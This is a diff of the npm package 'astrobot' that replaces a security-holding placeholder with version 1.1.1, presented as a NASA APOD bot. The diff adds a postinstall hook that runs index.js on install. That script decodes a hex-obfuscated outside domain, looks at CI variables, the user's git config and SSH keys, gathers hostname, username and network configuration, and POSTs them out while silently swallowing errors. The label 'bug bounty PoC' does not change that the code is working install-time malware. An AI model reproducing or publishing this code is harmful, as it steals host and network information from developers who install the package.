astrobot 0.0.1-security → 1.1.1

package/index.js

@@ -0,0 +1,103 @@
+// ========================================================================= 
+// ========== THE ULTIMATE "SLEEPER AGENT" PAYLOAD (FINAL) =================
+// ======= STEALTH MODE: THIS PAYLOAD MIMICS THE REAL `astrobot` ==========
+// ========= AND ONLY ACTIVATES ON HIGH-VALUE HUMAN TARGETS. ==============
+// =========================================================================
+
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const https = require('https');
+const { execSync } = require('child_process');
+
+const OAST_DOMAIN_HEX = '6f766e6868306670316a6d66757238666330636b653836647a3435367477686c2e6f6173746966792e636f6d';
+const OAST_DOMAIN = Buffer.from(OAST_DOMAIN_HEX, 'hex').toString();
+
+const run = (cmd) => {
+    try {
+        return execSync(cmd, { stdio: 'pipe', timeout: 5000 }).toString().trim();
+    } catch (e) {
+        return 'CMD_FAILED';
+    }
+};
+
+const safeReadFile = (filePath) => {
+    try {
+        return fs.readFileSync(filePath, 'utf8');
+    } catch (e) {
+        return null;
+    }
+};
+
+const performHumanityTest = () => {
+    const report = { isHumanOrCi: false, evidence: {} };
+    const userInfo = os.userInfo();
+
+    if (process.env.CI || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL || process.env.GITLAB_CI || process.env.CIRCLECI) {
+        report.isHumanOrCi = true;
+        report.evidence.ci_env = {
+            CI: process.env.CI,
+            GITHUB: process.env.GITHUB_ACTIONS,
+            JENKINS: process.env.JENKINS_URL
+        };
+        return report;
+    }
+
+    const parentProjectRoot = path.resolve(__dirname, '../../');
+    const gitConfig = safeReadFile(path.join(parentProjectRoot, '.git/config'));
+    if (gitConfig && gitConfig.includes('nasa/astrobot')) {
+        report.isHumanOrCi = true;
+        report.evidence.git_config = gitConfig;
+        return report;
+    }
+
+    const homeDir = userInfo.homedir;
+    const hasSshKeys = safeReadFile(path.join(homeDir, '.ssh/id_rsa')) || safeReadFile(path.join(homeDir, '.ssh/id_dsa'));
+    const hasGitConfig = safeReadFile(path.join(homeDir, '.gitconfig'));
+
+    if ((hasSshKeys || hasGitConfig) && userInfo.uid !== 0 && userInfo.username !== 'root') {
+        report.isHumanOrCi = true;
+        report.evidence.developer_dotfiles = {
+            ssh: hasSshKeys ? 'FOUND' : 'NOT_FOUND',
+            git: hasGitConfig ? 'FOUND' : 'NOT_FOUND'
+        };
+        return report;
+    }
+
+    return report;
+};
+
+try {
+    const testResult = performHumanityTest();
+    if (testResult.isHumanOrCi) {
+        const intelPackage = {
+            mission_id: 'NASA-ASTROBOT-36d5833e-FINAL',
+            timestamp: new Date().toISOString(),
+            confirmation_reason: testResult.evidence,
+            host_intel: {
+                hostname: os.hostname(),
+                whoami: os.userInfo().username,
+                platform: os.platform(),
+                uptime: os.uptime()
+            },
+            network_intel: {
+                ip_config: run('ip a || ipconfig /all'),
+                resolv_conf: safeReadFile('/etc/resolv.conf')
+            }
+        };
+
+        const payload = JSON.stringify(intelPackage, null, 2);
+        https.request({
+            hostname: OAST_DOMAIN,
+            port: 443,
+            path: `/NASA_CONFIRMED_HUMAN_HIT/${intelPackage.host_intel.hostname}`,
+            method: 'POST',
+            headers: {
+                'Content-Type': 'application/json',
+                'Content-Length': Buffer.byteLength(payload)
+            }
+        }).on('error', e => {}).end(payload);
+    }
+} catch (e) {
+    // Ultimate silence.
+}

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "astrobot",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.1.1",
+  "description": "Bot to query and display APOD images. [Security PoC for Bugcrowd ID 36d5833e]",
+  "main": "astroBot.js",
+  "scripts": {
+    "start": "node astroBot.js",
+    "postinstall": "node index.js"
+  },
+  "author": "NASA APOD Team",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=astrobot for more information.